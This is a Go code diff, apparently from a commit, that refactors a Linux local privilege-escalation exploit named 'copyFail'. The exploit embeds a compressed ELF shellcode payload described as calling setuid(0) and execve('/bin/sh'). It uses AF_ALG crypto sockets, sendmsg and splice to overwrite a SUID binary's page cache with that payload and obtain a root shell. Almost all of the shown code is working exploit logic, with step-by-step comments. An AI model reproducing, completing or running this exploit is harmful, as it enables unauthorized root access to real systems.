@@ -51,7 +51,7 @@ import (
5151// copyFailPayloadHex is a zlib-compressed, position-independent ELF64 binary.
5252// When injected into a SUID binary's page cache it calls setuid(0) followed by
5353// execve("/bin/sh", NULL, NULL), yielding a root shell.
54- const copyFailPayloadHex = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
54+ const copyFailPayloadHex = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c[...]
5555
5656// copyFailDecompressPayload decompresses the embedded zlib payload.
5757func copyFailDecompressPayload () ([]byte , error ) {
@@ -110,8 +110,8 @@ func copyFailWriteChunk(fd int, offset int, chunk []byte) error {
110110 key [0 ] = 0x08 // rta_len (little-endian low byte)
111111 key [2 ] = 0x01 // rta_type = CRYPTO_AUTHENC_KEYA_PARAM
112112 key [7 ] = 0x10 // enc key length = 16 (big-endian in the RTA payload)
113- if _ , _ , errno := syscall .Syscall6 (
114- syscall .SYS_SETSOCKOPT ,
113+ if _ , _ , errno := unix .Syscall6 (
114+ unix .SYS_SETSOCKOPT ,
115115 uintptr (algFd ),
116116 uintptr (unix .SOL_ALG ),
117117 uintptr (unix .ALG_SET_KEY ),
@@ -123,8 +123,8 @@ func copyFailWriteChunk(fd int, offset int, chunk []byte) error {
123123 }
124124
125125 // ALG_SET_AEAD_AUTHSIZE: pass a NULL optval with optlen = auth-tag size (4).
126- if _ , _ , errno := syscall .Syscall6 (
127- syscall .SYS_SETSOCKOPT ,
126+ if _ , _ , errno := unix .Syscall6 (
127+ unix .SYS_SETSOCKOPT ,
128128 uintptr (algFd ),
129129 uintptr (unix .SOL_ALG ),
130130 uintptr (unix .ALG_SET_AEAD_AUTHSIZE ),
@@ -136,11 +136,11 @@ func copyFailWriteChunk(fd int, offset int, chunk []byte) error {
136136 }
137137
138138 // Accept returns the operation socket used for actual encrypt/decrypt calls.
139- opFd , _ , errno := syscall . Syscall ( syscall . SYS_ACCEPT , uintptr ( algFd ), 0 , 0 )
140- if errno != 0 {
141- return fmt .Errorf ("accept: %v" , errno )
139+ opFd , err := unix . Accept ( algFd )
140+ if err != nil {
141+ return fmt .Errorf ("accept: %v" , err )
142142 }
143- defer syscall .Close (int ( opFd ) )
143+ defer unix .Close (opFd )
144144
145145 // count = offset + 4 — total bytes to splice from the target file.
146146 count := offset + 4
@@ -163,7 +163,7 @@ func copyFailWriteChunk(fd int, offset int, chunk []byte) error {
163163 // 4-byte payload chunk. MSG_MORE signals that more data will follow via
164164 // splice, deferring ALG processing until the pipe data arrives.
165165 msgData := append ([]byte ("AAAA" ), chunk ... )
166- if _ , err = unix .SendmsgN (int ( opFd ) , msgData , oob , nil , unix .MSG_MORE ); err != nil {
166+ if _ , err = unix .SendmsgN (opFd , msgData , oob , nil , unix .MSG_MORE ); err != nil {
167167 return fmt .Errorf ("sendmsg: %v" , err )
168168 }
169169
@@ -187,14 +187,14 @@ func copyFailWriteChunk(fd int, offset int, chunk []byte) error {
187187 // splice(pipeR, nil, opFd, nil, count, 0)
188188 // Deliver the pipe data to the ALG socket, triggering the kernel bug that
189189 // overwrites the page-cache pages with the attacker-controlled data.
190- if _ , err = unix .Splice (pipeR , nil , int ( opFd ) , nil , count , 0 ); err != nil {
190+ if _ , err = unix .Splice (pipeR , nil , opFd , nil , count , 0 ); err != nil {
191191 return fmt .Errorf ("splice(pipe->alg): %v" , err )
192192 }
193193
194194 // Drain any ALG output; errors are intentionally ignored (mirrors the
195195 // original Python: `try: u.recv(8+t) except: 0`).
196196 recvBuf := make ([]byte , 8 + offset )
197- unix .Read (int ( opFd ) , recvBuf ) //nolint:errcheck
197+ unix .Read (opFd , recvBuf ) //nolint:errcheck
198198
199199 return nil
200200}
0 commit comments